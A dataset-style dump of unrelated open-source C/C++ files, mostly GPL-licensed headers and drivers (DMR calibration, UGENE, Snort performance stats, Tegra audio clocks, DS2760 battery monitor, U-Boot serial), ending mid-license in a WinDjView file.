text
stringlengths 4
6.14k
|
|---|
/*
* Copyright (C) 2009-2015,2020 by Jonathan Naylor G4KLX
* Copyright (C) 2016 by Colin Durbridge G4EML
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#include "Config.h"
#if defined(MODE_DMR)
#if !defined(CALDMR_H)
#define CALDMR_H
#include "DMRDefines.h"
enum DMRCAL1K {
DMRCAL1K_IDLE,
DMRCAL1K_VH,
DMRCAL1K_VOICE,
DMRCAL1K_VT,
DMRCAL1K_WAIT
};
class CCalDMR {
public:
CCalDMR();
void process();
void dmr1kcal();
void dmrdmo1k();
void createData1k(uint8_t n);
void createDataDMO1k(uint8_t n);
uint8_t write(const uint8_t* data, uint16_t length);
private:
bool m_transmit;
DMRCAL1K m_state;
uint32_t m_frame_start;
uint8_t m_dmr1k[DMR_FRAME_LENGTH_BYTES + 1U];
uint8_t m_audioSeq;
};
#endif
#endif
|
/**
* UGENE - Integrated Bioinformatics Tools.
* Copyright (C) 2008-2022 UniPro <ugene@unipro.ru>
* http://ugene.net
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*/
#ifndef _U2_SEQUENCE_DBI_WALKER_TASK_H_
#define _U2_SEQUENCE_DBI_WALKER_TASK_H_
#include <U2Core/Task.h>
#include <U2Core/U2Type.h>
#include "SequenceWalkerTask.h"
namespace U2 {
class DNATranslation;
class SequenceDbiWalkerSubtask;
class U2CORE_EXPORT SequenceDbiWalkerConfig : public SequenceWalkerConfig {
public:
U2EntityRef seqRef;
/** If true, not 3 but only the first frame is translated. Same for complement & direct modes. */
bool translateOnlyFirstFrame = false;
};
class U2CORE_EXPORT SequenceDbiWalkerCallback {
public:
virtual ~SequenceDbiWalkerCallback() {
}
virtual void onRegion(SequenceDbiWalkerSubtask* t, TaskStateInfo& ti) = 0;
/* implement this to give SequenceDbiWalkerSubtask required resources
* here are resources for ONE(!) SequenceDbiWalkerSubtask execution e.g. for one execution of onRegion function
*/
virtual QList<TaskResourceUsage> getResources(SequenceDbiWalkerSubtask*) {
return QList<TaskResourceUsage>();
}
};
class U2CORE_EXPORT SequenceDbiWalkerTask : public Task {
Q_OBJECT
public:
SequenceDbiWalkerTask(const SequenceDbiWalkerConfig& config, SequenceDbiWalkerCallback* callback, const QString& name, TaskFlags tf = TaskFlags_NR_FOSE_COSC);
SequenceDbiWalkerCallback* getCallback() const {
return callback;
}
const SequenceDbiWalkerConfig& getConfig() const {
return config;
}
// reverseMode - start splitting from the end of the range
static QVector<U2Region> splitRange(const U2Region& range, int chunkSize, int overlapSize, int lastChunkExtraLen, bool reverseMode);
void setError(const QString& err) {
stateInfo.setError(err);
}
private:
QList<SequenceDbiWalkerSubtask*> prepareSubtasks();
QList<SequenceDbiWalkerSubtask*> createSubs(const QVector<U2Region>& chunks, bool doCompl, bool doAmino);
SequenceDbiWalkerConfig config;
SequenceDbiWalkerCallback* callback;
};
class U2CORE_EXPORT SequenceDbiWalkerSubtask : public Task {
Q_OBJECT
public:
SequenceDbiWalkerSubtask(SequenceDbiWalkerTask* _t, const U2Region& glob, bool lo, bool ro, const U2EntityRef& seqRef, bool _doCompl, bool _doAmino);
void run() override;
/** Returns region sequence with all transformation applied. Computes the region sequence during the first call. */
const QByteArray& getRegionSequence();
/** Returns global coordinates of the sequence region processed by this sub-task. */
const U2Region& getGlobalRegion() const;
/** Returns top-level sequence walker task. */
SequenceDbiWalkerTask* getSequenceDbiWalkerTask() const;
private:
/** Prepares region sequence data if needed. */
void prepareRegionSequence();
SequenceDbiWalkerTask* t;
U2Region globalRegion;
U2EntityRef seqRef;
bool doCompl;
bool doAmino;
bool leftOverlap;
bool rightOverlap;
/** Result region sequence with all needed transformations applied. */
QByteArray regionSequence;
/** Used for lazy initialization of the local sequence. */
bool isRegionSequencePrepared = false;
};
} // namespace U2
#endif
|
/*
** $Id$
**
** perf.h
**
** Copyright (C) 2014-2016 Cisco and/or its affiliates. All rights reserved.
** Copyright (C) 2002-2013 Sourcefire, Inc.
** Dan Roelker <droelker@sourcefire.com>
**
** This program is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License Version 2 as
** published by the Free Software Foundation. You may not use, modify or
** distribute this program under any other version of the GNU General
** Public License.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program; if not, write to the Free Software
** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
**
**
** DESCRIPTION
** These are the basic functions and structures that are needed to call
** performance functions.
**
** Dan Roelker
**
**
**
** This program is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License Version 2 as
** published by the Free Software Foundation. You may not use, modify or
** distribute this program under any other version of the GNU General
** Public License.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program; if not, write to the Free Software
** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
**
*/
#ifndef _PERF_H
#define _PERF_H
#include "perf-base.h"
#include "perf-flow.h"
#include "perf-event.h"
#include "sf_types.h"
#include "snort_debug.h"
#include "decode.h"
// Perf Flags
#define SFPERF_BASE 0x00000001
#define SFPERF_FLOW 0x00000002
#define SFPERF_EVENT 0x00000004
#define SFPERF_BASE_MAX 0x00000008
#define SFPERF_CONSOLE 0x00000010
#define SFPERF_PKTCNT 0x00000020
#define SFPERF_FLOWIP 0x00000040
#define SFPERF_TIME_COUNT 0x00000080
#define SFPERF_MAX_BASE_STATS 0x00000100
#define SFPERF_SUMMARY_BASE 0x00001000
#define SFPERF_SUMMARY_FLOW 0x00002000
#define SFPERF_SUMMARY_FLOWIP 0x00004000
#define SFPERF_SUMMARY_EVENT 0x00008000
#define SFPERF_SUMMARY \
(SFPERF_SUMMARY_BASE|SFPERF_SUMMARY_FLOW|SFPERF_SUMMARY_FLOWIP|SFPERF_SUMMARY_EVENT)
#define ROLLOVER_THRESH 512
#define MAX_PERF_FILE_SIZE INT32_MAX
#define MIN_PERF_FILE_SIZE 4096
/* The perfmonitor configuration */
typedef struct _SFPERF
{
int perf_flags;
uint32_t pkt_cnt;
int sample_interval;
char *file;
FILE *fh;
int base_reset;
int flow_max_port_to_track;
char *flow_file;
FILE *flow_fh;
uint32_t max_file_size;
char *flowip_file;
FILE *flowip_fh;
uint32_t flowip_memcap;
} SFPERF;
extern SFBASE sfBase;
extern SFFLOW sfFlow;
extern SFEVENT sfEvent;
extern SFPERF* perfmon_config;
extern int perfmon_rotate_perf_file;
void sfInitPerformanceStatistics(SFPERF *);
FILE * sfOpenBaseStatsFile(const char *);
void sfCloseBaseStatsFile(SFPERF *sfPerf);
FILE * sfOpenFlowStatsFile(const char *);
void sfCloseFlowStatsFile(SFPERF *sfPerf);
FILE * sfOpenFlowIPStatsFile(const char *);
void sfCloseFlowIPStatsFile(SFPERF *sfPerf);
int sfRotateBaseStatsFile(SFPERF *sfPerf);
int sfRotateFlowStatsFile(SFPERF *sfPerf);
void sfPerformanceStats(SFPERF *, Packet *);
void sfPerformanceStatsOOB(SFPERF *, time_t);
void sfPerfStatsSummary(SFPERF *);
void SetSampleTime(SFPERF *, Packet *);
void InitPerfStats(SFPERF *sfPerf);
static inline void SetRotatePerfFileFlag(void)
{
perfmon_rotate_perf_file = 1;
}
static inline int IsSetRotatePerfFileFlag(void)
{
return perfmon_rotate_perf_file;
}
static inline void ClearRotatePerfFileFlag(void)
{
perfmon_rotate_perf_file = 0;
}
#endif
|
/*
* This file is part of gshutdown.
*
* Copyright (c) GShutdown Team <gshutdown@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with This program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#ifndef __GSHUTDOWN_TIMER__
#define __GSHUTDOWN_TIMER__
#include <glib.h>
guint time_left();
gboolean timer_notify();
guint nb_days_in_month(guint month, guint year);
#endif
/* vim:cindent:et:sw=4:ts=4:sts=4:tw=78:fenc=utf-8
*/
|
/*
* Copyright (c) 2007 Cyrille Berger <cberger@cberger.net>
*
* This library is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 2.1 of the License, or
* (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef _KIS_META_DATA_SCHEMA_REGISTRY_H_
#define _KIS_META_DATA_SCHEMA_REGISTRY_H_
#include <krita_export.h>
class QString;
namespace KisMetaData
{
class Schema;
class KRITAIMAGE_EXPORT SchemaRegistry
{
struct Private;
SchemaRegistry();
~SchemaRegistry();
public:
/**
* Creates a new schema.
* @param uri the name of the schema
* @param prefix the namespace prefix used for this schema
* @return the schema associated with the uri (it can return 0, if no schema exist
* for the uri, but the prefix was already used, and it can be an already existing
* schema if the uri was already included)
*/
const KisMetaData::Schema* create(const QString & uri, const QString & prefix);
/**
* @return the schema for this uri
*/
const Schema* schemaFromUri(const QString & uri) const;
/**
* @return the schema for this prefix
*/
const Schema* schemaFromPrefix(const QString & prefix) const;
/**
* Return an instance of the SchemaRegistry.
* Creates an instance if that has never happened before and returns
* the singleton instance.
* Initialize it with default schemas.
*/
static KisMetaData::SchemaRegistry* instance();
private:
Private* const d;
};
}
KRITAIMAGE_EXPORT QDebug operator<<(QDebug debug, const KisMetaData::Schema &c);
#endif
|
/*
* include/linux/omap_ion.h
*
* Copyright (C) 2011 Google, Inc.
*
* This software is licensed under the terms of the GNU General Public
* License version 2, as published by the Free Software Foundation, and
* may be copied, distributed, and modified under those terms.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
*/
#ifndef _LINUX_OMAP_ION_H
#define _LINUX_OMAP_ION_H
#include <linux/types.h>
/**
* struct omap_ion_tiler_alloc_data - metadata passed from userspace for allocations
* @w: width of the allocation
* @h: height of the allocation
* @fmt: format of the data (8, 16, 32bit or page)
* @flags: flags passed to heap
* @stride: stride of the allocation, returned to caller from kernel
* @handle: pointer that will be populated with a cookie to use to refer
* to this allocation
*
* Provided by userspace as an argument to the ioctl
*/
struct omap_ion_tiler_alloc_data {
size_t w;
size_t h;
int fmt;
unsigned int flags;
struct ion_handle *handle;
size_t stride;
size_t offset;
u32 out_align;
u32 token;
};
#ifdef __KERNEL__
int omap_ion_tiler_alloc(struct ion_client *client,
struct omap_ion_tiler_alloc_data *data);
int omap_ion_nonsecure_tiler_alloc(struct ion_client *client,
struct omap_ion_tiler_alloc_data *data);
/* given a handle in the tiler, return a list of tiler pages that back it */
int omap_tiler_pages(struct ion_client *client, struct ion_handle *handle,
int *n, u32 **tiler_pages);
int omap_ion_fd_to_handles(int fd, struct ion_client **client,
struct ion_handle **handles,
int *num_handles);
int omap_tiler_vinfo(struct ion_client *client,
struct ion_handle *handle, unsigned int *vstride,
unsigned int *vsize);
int omap_ion_share_fd_to_buffers(int fd, struct ion_buffer **buffers,
int *num_handles);
extern struct ion_device *omap_ion_device;
#endif /* __KERNEL__ */
/* additional heaps used only on omap */
enum {
OMAP_ION_HEAP_TYPE_TILER = ION_HEAP_TYPE_CUSTOM + 1,
};
#define OMAP_ION_HEAP_TILER_MASK (1 << OMAP_ION_HEAP_TYPE_TILER)
enum {
OMAP_ION_TILER_ALLOC,
};
/**
* These should match the defines in the tiler driver
*/
enum {
TILER_PIXEL_FMT_MIN = 0,
TILER_PIXEL_FMT_8BIT = 0,
TILER_PIXEL_FMT_16BIT = 1,
TILER_PIXEL_FMT_32BIT = 2,
TILER_PIXEL_FMT_PAGE = 3,
TILER_PIXEL_FMT_MAX = 3
};
/**
* List of heaps in the system
*/
enum {
OMAP_ION_HEAP_SYSTEM,
OMAP_ION_HEAP_TILER,
OMAP_ION_HEAP_SECURE_INPUT,
OMAP_ION_HEAP_NONSECURE_TILER,
};
#endif /* _LINUX_ION_H */
|
/*
* Copyright (c) 2013 Somsubhra Bairi <somsubhra.bairi@gmail.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; version 2 of the License, or(at you option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef _ANIMATOR_H_
#define _ANIMATOR_H_
#include <QVariant>
#include <QObject>
class KisView2;
/**
* The animator plugin class
*/
class AnimatorPlugin : public QObject
{
Q_OBJECT
public:
AnimatorPlugin(QObject *parent, const QVariantList &);
virtual ~AnimatorPlugin();
private:
KisView2* m_view;
};
#endif
|
/*
* tegra_asoc_utils.c - Harmony machine ASoC driver
*
* Author: Stephen Warren <swarren@nvidia.com>
* Copyright (C) 2010 - NVIDIA, Inc.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* version 2 as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA
*
*/
#include <linux/clk.h>
#include <linux/device.h>
#include <linux/err.h>
#include <linux/kernel.h>
#include "tegra_asoc_utils.h"
int tegra_asoc_utils_set_rate(struct tegra_asoc_utils_data *data, int srate,
int mclk)
{
int new_baseclock;
bool clk_change;
int err;
switch (srate) {
case 11025:
case 22050:
case 44100:
case 88200:
new_baseclock = 56448000;
break;
case 8000:
case 16000:
case 32000:
case 48000:
case 64000:
case 96000:
new_baseclock = 73728000;
break;
default:
return -EINVAL;
}
clk_change = ((new_baseclock != data->set_baseclock) ||
(mclk != data->set_mclk));
if (!clk_change)
return 0;
data->set_baseclock = 0;
data->set_mclk = 0;
clk_disable(data->clk_cdev1);
clk_disable(data->clk_pll_a_out0);
clk_disable(data->clk_pll_a);
err = clk_set_rate(data->clk_pll_a, new_baseclock);
if (err) {
dev_err(data->dev, "Can't set pll_a rate: %d\n", err);
return err;
}
err = clk_set_rate(data->clk_pll_a_out0, mclk);
if (err) {
dev_err(data->dev, "Can't set pll_a_out0 rate: %d\n", err);
return err;
}
/* Don't set cdev1 rate; its locked to pll_a_out0 */
err = clk_enable(data->clk_pll_a);
if (err) {
dev_err(data->dev, "Can't enable pll_a: %d\n", err);
return err;
}
err = clk_enable(data->clk_pll_a_out0);
if (err) {
dev_err(data->dev, "Can't enable pll_a_out0: %d\n", err);
return err;
}
err = clk_enable(data->clk_cdev1);
if (err) {
dev_err(data->dev, "Can't enable cdev1: %d\n", err);
return err;
}
data->set_baseclock = new_baseclock;
data->set_mclk = mclk;
return 0;
}
EXPORT_SYMBOL_GPL(tegra_asoc_utils_set_rate);
int tegra_asoc_utils_init(struct tegra_asoc_utils_data *data,
struct device *dev)
{
int ret;
data->dev = dev;
data->clk_pll_a = clk_get_sys(NULL, "pll_a");
if (IS_ERR(data->clk_pll_a)) {
dev_err(data->dev, "Can't retrieve clk pll_a\n");
ret = PTR_ERR(data->clk_pll_a);
goto err;
}
data->clk_pll_a_out0 = clk_get_sys(NULL, "pll_a_out0");
if (IS_ERR(data->clk_pll_a_out0)) {
dev_err(data->dev, "Can't retrieve clk pll_a_out0\n");
ret = PTR_ERR(data->clk_pll_a_out0);
goto err_put_pll_a;
}
data->clk_cdev1 = clk_get_sys(NULL, "cdev1");
if (IS_ERR(data->clk_cdev1)) {
dev_err(data->dev, "Can't retrieve clk cdev1\n");
ret = PTR_ERR(data->clk_cdev1);
goto err_put_pll_a_out0;
}
return 0;
err_put_pll_a_out0:
clk_put(data->clk_pll_a_out0);
err_put_pll_a:
clk_put(data->clk_pll_a);
err:
return ret;
}
EXPORT_SYMBOL_GPL(tegra_asoc_utils_init);
void tegra_asoc_utils_fini(struct tegra_asoc_utils_data *data)
{
clk_put(data->clk_cdev1);
clk_put(data->clk_pll_a_out0);
clk_put(data->clk_pll_a);
}
EXPORT_SYMBOL_GPL(tegra_asoc_utils_fini);
MODULE_AUTHOR("Stephen Warren <swarren@nvidia.com>");
MODULE_DESCRIPTION("Tegra ASoC utility code");
MODULE_LICENSE("GPL");
|
/* Copyright Statement:
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein
* is confidential and proprietary to MediaTek Inc. and/or its licensors.
* Without the prior written permission of MediaTek inc. and/or its licensors,
* any reproduction, modification, use or disclosure of MediaTek Software,
* and information contained herein, in whole or in part, shall be strictly prohibited.
*
* MediaTek Inc. (C) 2010. All rights reserved.
*
* BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES
* THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE")
* RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO RECEIVER ON
* AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL WARRANTIES,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NONINFRINGEMENT.
* NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH RESPECT TO THE
* SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY, INCORPORATED IN, OR
* SUPPLIED WITH THE MEDIATEK SOFTWARE, AND RECEIVER AGREES TO LOOK ONLY TO SUCH
* THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO. RECEIVER EXPRESSLY ACKNOWLEDGES
* THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES
* CONTAINED IN MEDIATEK SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK
* SOFTWARE RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR
* STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S ENTIRE AND
* CUMULATIVE LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE RELEASED HEREUNDER WILL BE,
* AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE MEDIATEK SOFTWARE AT ISSUE,
* OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE CHARGE PAID BY RECEIVER TO
* MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE.
*
* The following software/firmware and/or related documentation ("MediaTek Software")
* have been modified by MediaTek Inc. All revisions are subject to any receiver's
* applicable license agreements with MediaTek Inc.
*/
/*
* (C) Copyright 2002
* Wolfgang Denk, DENX Software Engineering, wd@denx.de.
*
* See file CREDITS for list of people who contributed to this
* project.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*/
#include <config.h>
#include <common.h>
#include <asm/io.h>
#include "fpga_serial.h"
#include "hardware.h"
#include "pcippc2.h"
DECLARE_GLOBAL_DATA_PTR;
/* 8 data, 1 stop, no parity
*/
#define LCRVAL 0x03
/* RTS/DTR
*/
#define MCRVAL 0x03
/* Clear & enable FIFOs
*/
#define FCRVAL 0x07
static void fpga_serial_wait (void);
static void fpga_serial_print (char c);
void fpga_serial_init (int baudrate)
{
int clock_divisor = 115200 / baudrate;
out8 (FPGA (INT, SERIAL_CONFIG), 0x24);
iobarrier_rw ();
fpga_serial_wait ();
out8 (UART (IER), 0);
out8 (UART (LCR), LCRVAL | 0x80);
iobarrier_rw ();
out8 (UART (DLL), clock_divisor & 0xff);
out8 (UART (DLM), clock_divisor >> 8);
iobarrier_rw ();
out8 (UART (LCR), LCRVAL);
iobarrier_rw ();
out8 (UART (MCR), MCRVAL);
out8 (UART (FCR), FCRVAL);
iobarrier_rw ();
}
void fpga_serial_putc (char c)
{
if (c) {
fpga_serial_print (c);
}
}
void fpga_serial_puts (const char *s)
{
while (*s) {
fpga_serial_print (*s++);
}
}
int fpga_serial_getc (void)
{
while ((in8 (UART (LSR)) & 0x01) == 0);
return in8 (UART (RBR));
}
int fpga_serial_tstc (void)
{
return (in8 (UART (LSR)) & 0x01) != 0;
}
void fpga_serial_setbrg (void)
{
int clock_divisor = 115200 / gd->baudrate;
fpga_serial_wait ();
out8 (UART (LCR), LCRVAL | 0x80);
iobarrier_rw ();
out8 (UART (DLL), clock_divisor & 0xff);
out8 (UART (DLM), clock_divisor >> 8);
iobarrier_rw ();
out8 (UART (LCR), LCRVAL);
iobarrier_rw ();
}
static void fpga_serial_wait (void)
{
while ((in8 (UART (LSR)) & 0x40) == 0);
}
static void fpga_serial_print (char c)
{
if (c == '\n') {
while ((in8 (UART (LSR)) & 0x20) == 0);
out8 (UART (THR), '\r');
iobarrier_rw ();
}
while ((in8 (UART (LSR)) & 0x20) == 0);
out8 (UART (THR), c);
iobarrier_rw ();
if (c == '\n') {
fpga_serial_wait ();
}
}
|
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/types.h>
#include <linux/platform_device.h>
#include <linux/mutex.h>
#include <linux/idr.h>
#include "../w1.h"
#include "../w1_int.h"
#include "../w1_family.h"
#include "w1_ds2760.h"
static int w1_ds2760_io(struct device *dev, char *buf, int addr, size_t count,
int io)
{
struct w1_slave *sl = container_of(dev, struct w1_slave, dev);
if (!dev)
return 0;
mutex_lock(&sl->master->mutex);
if (addr > DS2760_DATA_SIZE || addr < 0) {
count = 0;
goto out;
}
if (addr + count > DS2760_DATA_SIZE)
count = DS2760_DATA_SIZE - addr;
if (!w1_reset_select_slave(sl)) {
if (!io) {
w1_write_8(sl->master, W1_DS2760_READ_DATA);
w1_write_8(sl->master, addr);
count = w1_read_block(sl->master, buf, count);
} else {
w1_write_8(sl->master, W1_DS2760_WRITE_DATA);
w1_write_8(sl->master, addr);
w1_write_block(sl->master, buf, count);
}
}
out:
mutex_unlock(&sl->master->mutex);
return count;
}
int w1_ds2760_read(struct device *dev, char *buf, int addr, size_t count)
{
return w1_ds2760_io(dev, buf, addr, count, 0);
}
int w1_ds2760_write(struct device *dev, char *buf, int addr, size_t count)
{
return w1_ds2760_io(dev, buf, addr, count, 1);
}
static int w1_ds2760_eeprom_cmd(struct device *dev, int addr, int cmd)
{
struct w1_slave *sl = container_of(dev, struct w1_slave, dev);
if (!dev)
return -EINVAL;
mutex_lock(&sl->master->mutex);
if (w1_reset_select_slave(sl) == 0) {
w1_write_8(sl->master, cmd);
w1_write_8(sl->master, addr);
}
mutex_unlock(&sl->master->mutex);
return 0;
}
int w1_ds2760_store_eeprom(struct device *dev, int addr)
{
return w1_ds2760_eeprom_cmd(dev, addr, W1_DS2760_COPY_DATA);
}
int w1_ds2760_recall_eeprom(struct device *dev, int addr)
{
return w1_ds2760_eeprom_cmd(dev, addr, W1_DS2760_RECALL_DATA);
}
static ssize_t w1_ds2760_read_bin(struct kobject *kobj,
struct bin_attribute *bin_attr,
char *buf, loff_t off, size_t count)
{
struct device *dev = container_of(kobj, struct device, kobj);
return w1_ds2760_read(dev, buf, off, count);
}
static struct bin_attribute w1_ds2760_bin_attr = {
.attr = {
.name = "w1_slave",
.mode = S_IRUGO,
},
.size = DS2760_DATA_SIZE,
.read = w1_ds2760_read_bin,
};
static DEFINE_IDR(bat_idr);
static DEFINE_MUTEX(bat_idr_lock);
static int new_bat_id(void)
{
int ret;
while (1) {
int id;
ret = idr_pre_get(&bat_idr, GFP_KERNEL);
if (ret == 0)
return -ENOMEM;
mutex_lock(&bat_idr_lock);
ret = idr_get_new(&bat_idr, NULL, &id);
mutex_unlock(&bat_idr_lock);
if (ret == 0) {
ret = id & MAX_ID_MASK;
break;
} else if (ret == -EAGAIN) {
continue;
} else {
break;
}
}
return ret;
}
static void release_bat_id(int id)
{
mutex_lock(&bat_idr_lock);
idr_remove(&bat_idr, id);
mutex_unlock(&bat_idr_lock);
}
static int w1_ds2760_add_slave(struct w1_slave *sl)
{
int ret;
int id;
struct platform_device *pdev;
id = new_bat_id();
if (id < 0) {
ret = id;
goto noid;
}
pdev = platform_device_alloc("ds2760-battery", id);
if (!pdev) {
ret = -ENOMEM;
goto pdev_alloc_failed;
}
pdev->dev.parent = &sl->dev;
ret = platform_device_add(pdev);
if (ret)
goto pdev_add_failed;
ret = sysfs_create_bin_file(&sl->dev.kobj, &w1_ds2760_bin_attr);
if (ret)
goto bin_attr_failed;
dev_set_drvdata(&sl->dev, pdev);
goto success;
bin_attr_failed:
pdev_add_failed:
platform_device_unregister(pdev);
pdev_alloc_failed:
release_bat_id(id);
noid:
success:
return ret;
}
static void w1_ds2760_remove_slave(struct w1_slave *sl)
{
struct platform_device *pdev = dev_get_drvdata(&sl->dev);
int id = pdev->id;
platform_device_unregister(pdev);
release_bat_id(id);
sysfs_remove_bin_file(&sl->dev.kobj, &w1_ds2760_bin_attr);
}
static struct w1_family_ops w1_ds2760_fops = {
.add_slave = w1_ds2760_add_slave,
.remove_slave = w1_ds2760_remove_slave,
};
static struct w1_family w1_ds2760_family = {
.fid = W1_FAMILY_DS2760,
.fops = &w1_ds2760_fops,
};
static int __init w1_ds2760_init(void)
{
printk(KERN_INFO "1-Wire driver for the DS2760 battery monitor "
" chip - (c) 2004-2005, Szabolcs Gyurko\n");
idr_init(&bat_idr);
return w1_register_family(&w1_ds2760_family);
}
static void __exit w1_ds2760_exit(void)
{
w1_unregister_family(&w1_ds2760_family);
idr_destroy(&bat_idr);
}
EXPORT_SYMBOL(w1_ds2760_read);
EXPORT_SYMBOL(w1_ds2760_write);
EXPORT_SYMBOL(w1_ds2760_store_eeprom);
EXPORT_SYMBOL(w1_ds2760_recall_eeprom);
module_init(w1_ds2760_init);
module_exit(w1_ds2760_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Szabolcs Gyurko <szabolcs.gyurko@tlt.hu>");
MODULE_DESCRIPTION("1-wire Driver Dallas 2760 battery monitor chip");
|
/*
* Copyright (C) 2014 Valery Kholodkov
*/
#ifndef _FLEET_WAYPOINTS_WIDGET_H_
#define _FLEET_WAYPOINTS_WIDGET_H_
#include <QWidget>
#include <QListWidget>
#include "folding_widget.h"
#include "cargo_widget.h"
#include "FSServer.h"
namespace FreeStars {
class FleetWaypointsWidget : public FoldingWidget {
Q_OBJECT
public:
FleetWaypointsWidget(Fleet*, const Player*, QWidget *parent = 0);
~FleetWaypointsWidget();
signals:
void selectWaypoint(const Location*);
private slots:
void setRepeatOrders(int);
void wayorderAdded(const Location*);
void wayorderSelected(int);
void wayorderDeleted();
protected:
bool eventFilter(QObject *obj, QEvent *event);
private:
QString getLocationName(const Location*) const;
void changeWayorderList();
private:
QListWidget *waypointListBox;
Fleet *fleet;
const Player *player;
std::deque<WayOrder *> orders;
};
};
#endif
|
// WinDjView
// Copyright (C) 2004-2009 Andrew Zhezherun
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
